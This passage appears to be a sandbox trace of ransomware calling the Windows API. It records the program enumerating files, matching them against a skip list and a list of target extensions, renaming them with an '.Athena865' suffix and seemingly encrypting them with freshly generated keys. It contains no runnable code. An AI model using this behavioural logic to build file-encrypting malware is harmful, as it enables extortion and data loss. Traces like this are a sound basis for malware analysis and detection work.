4 [0039.772] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0039.772] lstrlenW (lpString="wrk") returned 3 [0039.772] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0039.772] lstrlenW (lpString="xdb") returned 3 [0039.772] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0039.772] lstrlenW (lpString="xld") returned 3 [0039.772] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0039.772] lstrlenW (lpString="xmlff") returned 5 [0039.772] lstrcmpiW (lpString1="s.exe", lpString2="xmlff") returned -1 [0039.772] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Mail\\excitement-das.exe.Athena865") returned 58 [0039.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Mail\\excitement-das.exe" (normalized: "c:\\program files\\windows mail\\excitement-das.exe"), lpNewFileName="C:\\Program Files\\Windows Mail\\excitement-das.exe.Athena865" (normalized: "c:\\program files\\windows mail\\excitement-das.exe.athena865"), dwFlags=0x1) returned 1 [0039.773] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\excitement-das.exe.Athena865" (normalized: "c:\\program files\\windows mail\\excitement-das.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0039.773] GetLastError () returned 0x20 [0039.773] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Mail\\excitement-das.exe CreateFile error 32\r\n") returned 78 [0039.773] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Mail\\excitement-das.exe CreateFile error 32\r\n") returned 78 [0039.773] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0039.773] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16ed [0039.773] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x4e, lpOverlapped=0x0) returned 1 [0039.773] CloseHandle (hObject=0x17c) returned 1 [0039.774] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Mail\\excitement-das.exe.Athena865" (normalized: "c:\\program files\\windows mail\\excitement-das.exe.athena865"), lpNewFileName="C:\\Program Files\\Windows Mail\\excitement-das.exe" (normalized: "c:\\program files\\windows mail\\excitement-das.exe"), dwFlags=0x1) returned 1 [0039.774] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0039.774] CloseHandle (hObject=0x0) returned 0 [0039.774] CloseHandle (hObject=0xffffffff) returned 0 [0039.774] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc465fe0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0039.775] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0039.775] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2=".") returned 1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2="..") returned 1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2="windows") returned -1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2="bootmgr") returned 1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2="temp") returned -1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2="pagefile.sys") returned -1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2="boot") returned 1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2="ids.txt") returned 1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2="ntuser.dat") returned -1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2="perflogs") returned -1 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2="MSBuild") returned 1 [0039.775] lstrlenW (lpString="msoe.dll") returned 8 [0039.775] lstrcpyW (in: lpString1=0x241e884, lpString2="msoe.dll" | out: lpString1="msoe.dll") returned="msoe.dll" [0039.775] lstrlenW (lpString="msoe.dll") returned 8 [0039.775] lstrlenW (lpString="Athena865") returned 9 [0039.775] lstrlenW (lpString=".dll") returned 4 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2=".dll") returned 1 [0039.775] lstrlenW (lpString=".lnk") returned 4 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2=".lnk") returned 1 [0039.775] lstrlenW (lpString=".ini") returned 4 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2=".ini") returned 1 [0039.775] lstrlenW (lpString=".sys") returned 4 [0039.775] lstrcmpiW (lpString1="msoe.dll", lpString2=".sys") returned 1 [0039.775] lstrlenW (lpString="msoe.dll") returned 8 [0039.775] lstrlenW (lpString="bak") returned 3 [0039.775] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0039.775] lstrlenW (lpString="ba_") returned 3 [0039.775] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0039.775] lstrlenW (lpString="dbb") returned 3 [0039.775] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0039.775] lstrlenW (lpString="vmdk") returned 4 [0039.775] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0039.776] lstrlenW (lpString="rar") returned 3 [0039.776] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0039.776] lstrlenW (lpString="zip") returned 3 [0039.776] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0039.776] lstrlenW (lpString="tgz") returned 3 [0039.776] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0039.776] lstrlenW (lpString="vbox") returned 4 [0039.776] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0039.776] lstrlenW (lpString="vdi") returned 3 [0039.776] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0039.776] lstrlenW (lpString="vhd") returned 3 [0039.776] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0039.776] lstrlenW (lpString="vhdx") returned 4 [0039.776] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0039.776] lstrlenW (lpString="avhd") returned 4 [0039.776] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0039.776] lstrlenW (lpString="db") returned 2 [0039.776] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0039.776] lstrlenW (lpString="db2") returned 3 [0039.776] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0039.776] lstrlenW (lpString="db3") returned 3 [0039.776] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0039.776] lstrlenW (lpString="dbf") returned 3 [0039.776] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0039.776] lstrlenW (lpString="mdf") returned 3 [0039.776] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0039.776] lstrlenW (lpString="mdb") returned 3 [0039.776] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0039.776] lstrlenW (lpString="sql") returned 3 [0039.776] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0039.776] lstrlenW (lpString="sqlite") returned 6 [0039.776] lstrcmpiW (lpString1="oe.dll", lpString2="sqlite") returned -1 [0039.776] lstrlenW (lpString="sqlite3") returned 7 [0039.776] lstrcmpiW (lpString1="soe.dll", lpString2="sqlite3") returned -1 [0039.776] lstrlenW (lpString="sqlitedb") returned 8 [0039.776] lstrlenW (lpString="xml") returned 3 [0039.777] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0039.777] lstrlenW (lpString="$er") returned 3 [0039.777] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0039.777] lstrlenW (lpString="4dd") returned 3 [0039.777] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0039.777] lstrlenW (lpString="4dl") returned 3 [0039.777] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0039.777] lstrlenW (lpString="^^^") returned 3 [0039.777] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0039.777] lstrlenW (lpString="abs") returned 3 [0039.777] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0039.777] lstrlenW (lpString="abx") returned 3 [0039.777] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0039.777] lstrlenW (lpString="accdb") returned 5 [0039.777] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0039.777] lstrlenW (lpString="accdc") returned 5 [0039.777] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0039.777] lstrlenW (lpString="accde") returned 5 [0039.777] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0039.777] lstrlenW (lpString="accdr") returned 5 [0039.777] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0039.777] lstrlenW (lpString="accdt") returned 5 [0039.777] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0039.777] lstrlenW (lpString="accdw") returned 5 [0039.777] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0039.777] lstrlenW (lpString="accft") returned 5 [0039.777] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0039.777] lstrlenW (lpString="adb") returned 3 [0039.777] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0039.777] lstrlenW (lpString="adb") returned 3 [0039.777] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0039.777] lstrlenW (lpString="ade") returned 3 [0039.777] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0039.777] lstrlenW (lpString="adf") returned 3 [0039.777] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0039.777] lstrlenW (lpString="adn") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0039.778] lstrlenW (lpString="adp") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0039.778] lstrlenW (lpString="alf") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0039.778] lstrlenW (lpString="ask") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0039.778] lstrlenW (lpString="btr") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0039.778] lstrlenW (lpString="cat") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0039.778] lstrlenW (lpString="cdb") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0039.778] lstrlenW (lpString="ckp") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0039.778] lstrlenW (lpString="cma") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0039.778] lstrlenW (lpString="cpd") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0039.778] lstrlenW (lpString="dacpac") returned 6 [0039.778] lstrcmpiW (lpString1="oe.dll", lpString2="dacpac") returned 1 [0039.778] lstrlenW (lpString="dad") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0039.778] lstrlenW (lpString="dadiagrams") returned 10 [0039.778] lstrlenW (lpString="daschema") returned 8 [0039.778] lstrlenW (lpString="db-journal") returned 10 [0039.778] lstrlenW (lpString="db-shm") returned 6 [0039.778] lstrcmpiW (lpString1="oe.dll", lpString2="db-shm") returned 1 [0039.778] lstrlenW (lpString="db-wal") returned 6 [0039.778] lstrcmpiW (lpString1="oe.dll", lpString2="db-wal") returned 1 [0039.778] lstrlenW (lpString="dbc") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0039.778] lstrlenW (lpString="dbs") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0039.778] lstrlenW (lpString="dbt") returned 3 [0039.778] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0039.779] lstrlenW (lpString="dbv") returned 3 [0039.779] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0039.779] lstrlenW (lpString="dbx") returned 3 [0039.779] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0039.779] lstrlenW (lpString="dcb") returned 3 [0039.779] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0039.779] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0039.779] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0039.779] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0039.779] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0039.779] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Mail\\msoe.dll.Athena865") returned 48 [0039.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Mail\\msoe.dll" (normalized: "c:\\program files\\windows mail\\msoe.dll"), lpNewFileName="C:\\Program Files\\Windows Mail\\msoe.dll.Athena865" (normalized: "c:\\program files\\windows mail\\msoe.dll.athena865"), dwFlags=0x1) returned 1 [0039.781] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\msoe.dll.Athena865" (normalized: "c:\\program files\\windows mail\\msoe.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0039.781] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2080256) returned 1 [0039.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0039.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0039.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0039.782] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0039.783] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0039.783] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.783] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fc100, lpName=0x0) returned 0x154 [0039.786] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fc100) returned 0x2d50000 [0039.940] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0039.941] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0039.941] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0039.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0039.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0039.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0039.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0039.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0039.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0039.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0039.941] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0039.961] CloseHandle (hObject=0x154) returned 1 [0039.961] CloseHandle (hObject=0x17c) returned 1 [0039.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0039.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0039.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.001] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc917413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc917413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x95a52df0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".") returned 1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2="..") returned 1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2="windows") returned -1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2="bootmgr") returned 1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2="temp") returned -1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2="pagefile.sys") returned -1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2="boot") returned 1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2="ids.txt") returned 1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2="ntuser.dat") returned -1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2="perflogs") returned -1 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2="MSBuild") returned 1 [0040.001] lstrlenW (lpString="MSOERES.dll") returned 11 [0040.001] lstrcpyW (in: lpString1=0x241e884, lpString2="MSOERES.dll" | out: lpString1="MSOERES.dll") returned="MSOERES.dll" [0040.001] lstrlenW (lpString="MSOERES.dll") returned 11 [0040.001] lstrlenW (lpString="Athena865") returned 9 [0040.001] lstrcmpiW (lpString1="OERES.dll", lpString2="Athena865") returned 1 [0040.001] lstrlenW (lpString=".dll") returned 4 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".dll") returned 1 [0040.001] lstrlenW (lpString=".lnk") returned 4 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".lnk") returned 1 [0040.001] lstrlenW (lpString=".ini") returned 4 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".ini") returned 1 [0040.001] lstrlenW (lpString=".sys") returned 4 [0040.001] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".sys") returned 1 [0040.001] lstrlenW (lpString="MSOERES.dll") returned 11 [0040.001] lstrlenW (lpString="bak") returned 3 [0040.001] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0040.001] lstrlenW (lpString="ba_") returned 3 [0040.001] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0040.001] lstrlenW (lpString="dbb") returned 3 [0040.001] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0040.002] lstrlenW (lpString="vmdk") returned 4 [0040.002] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0040.002] lstrlenW (lpString="rar") returned 3 [0040.002] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0040.002] lstrlenW (lpString="zip") returned 3 [0040.002] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0040.002] lstrlenW (lpString="tgz") returned 3 [0040.002] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0040.002] lstrlenW (lpString="vbox") returned 4 [0040.002] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0040.002] lstrlenW (lpString="vdi") returned 3 [0040.002] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0040.002] lstrlenW (lpString="vhd") returned 3 [0040.002] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0040.002] lstrlenW (lpString="vhdx") returned 4 [0040.002] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0040.002] lstrlenW (lpString="avhd") returned 4 [0040.002] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0040.002] lstrlenW (lpString="db") returned 2 [0040.002] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0040.002] lstrlenW (lpString="db2") returned 3 [0040.002] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0040.002] lstrlenW (lpString="db3") returned 3 [0040.002] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0040.002] lstrlenW (lpString="dbf") returned 3 [0040.002] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0040.002] lstrlenW (lpString="mdf") returned 3 [0040.002] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0040.002] lstrlenW (lpString="mdb") returned 3 [0040.002] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0040.002] lstrlenW (lpString="sql") returned 3 [0040.002] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0040.002] lstrlenW (lpString="sqlite") returned 6 [0040.002] lstrcmpiW (lpString1="ES.dll", lpString2="sqlite") returned -1 [0040.002] lstrlenW (lpString="sqlite3") returned 7 [0040.002] lstrcmpiW (lpString1="RES.dll", lpString2="sqlite3") returned -1 [0040.002] lstrlenW (lpString="sqlitedb") returned 8 [0040.003] lstrcmpiW (lpString1="ERES.dll", lpString2="sqlitedb") returned -1 [0040.003] lstrlenW (lpString="xml") returned 3 [0040.003] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0040.003] lstrlenW (lpString="$er") returned 3 [0040.003] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0040.003] lstrlenW (lpString="4dd") returned 3 [0040.003] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0040.003] lstrlenW (lpString="4dl") returned 3 [0040.003] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0040.003] lstrlenW (lpString="^^^") returned 3 [0040.003] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0040.003] lstrlenW (lpString="abs") returned 3 [0040.003] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0040.003] lstrlenW (lpString="abx") returned 3 [0040.003] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0040.003] lstrlenW (lpString="accdb") returned 5 [0040.003] lstrcmpiW (lpString1="S.dll", lpString2="accdb") returned 1 [0040.003] lstrlenW (lpString="accdc") returned 5 [0040.003] lstrcmpiW (lpString1="S.dll", lpString2="accdc") returned 1 [0040.003] lstrlenW (lpString="accde") returned 5 [0040.003] lstrcmpiW (lpString1="S.dll", lpString2="accde") returned 1 [0040.003] lstrlenW (lpString="accdr") returned 5 [0040.003] lstrcmpiW (lpString1="S.dll", lpString2="accdr") returned 1 [0040.003] lstrlenW (lpString="accdt") returned 5 [0040.003] lstrcmpiW (lpString1="S.dll", lpString2="accdt") returned 1 [0040.003] lstrlenW (lpString="accdw") returned 5 [0040.003] lstrcmpiW (lpString1="S.dll", lpString2="accdw") returned 1 [0040.003] lstrlenW (lpString="accft") returned 5 [0040.003] lstrcmpiW (lpString1="S.dll", lpString2="accft") returned 1 [0040.003] lstrlenW (lpString="adb") returned 3 [0040.003] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0040.003] lstrlenW (lpString="adb") returned 3 [0040.003] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0040.003] lstrlenW (lpString="ade") returned 3 [0040.003] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0040.003] lstrlenW (lpString="adf") returned 3 [0040.003] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0040.004] lstrlenW (lpString="adn") returned 3 [0040.004] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0040.004] lstrlenW (lpString="adp") returned 3 [0040.004] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0040.004] lstrlenW (lpString="alf") returned 3 [0040.004] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0040.004] lstrlenW (lpString="ask") returned 3 [0040.004] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0040.004] lstrlenW (lpString="btr") returned 3 [0040.004] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0040.004] lstrlenW (lpString="cat") returned 3 [0040.004] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0040.004] lstrlenW (lpString="cdb") returned 3 [0040.004] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0040.004] lstrlenW (lpString="ckp") returned 3 [0040.004] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0040.004] lstrlenW (lpString="cma") returned 3 [0040.004] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0040.004] lstrlenW (lpString="cpd") returned 3 [0040.004] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0040.004] lstrlenW (lpString="dacpac") returned 6 [0040.004] lstrcmpiW (lpString1="ES.dll", lpString2="dacpac") returned 1 [0040.004] lstrlenW (lpString="dad") returned 3 [0040.004] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0040.004] lstrlenW (lpString="dadiagrams") returned 10 [0040.004] lstrcmpiW (lpString1="SOERES.dll", lpString2="dadiagrams") returned 1 [0040.004] lstrlenW (lpString="daschema") returned 8 [0040.004] lstrcmpiW (lpString1="ERES.dll", lpString2="daschema") returned 1 [0040.004] lstrlenW (lpString="db-journal") returned 10 [0040.004] lstrcmpiW (lpString1="SOERES.dll", lpString2="db-journal") returned 1 [0040.004] lstrlenW (lpString="db-shm") returned 6 [0040.004] lstrcmpiW (lpString1="ES.dll", lpString2="db-shm") returned 1 [0040.004] lstrlenW (lpString="db-wal") returned 6 [0040.004] lstrcmpiW (lpString1="ES.dll", lpString2="db-wal") returned 1 [0040.004] lstrlenW (lpString="dbc") returned 3 [0040.004] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0040.004] lstrlenW (lpString="dbs") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0040.005] lstrlenW (lpString="dbt") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0040.005] lstrlenW (lpString="dbv") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0040.005] lstrlenW (lpString="dbx") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0040.005] lstrlenW (lpString="dcb") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0040.005] lstrlenW (lpString="dct") 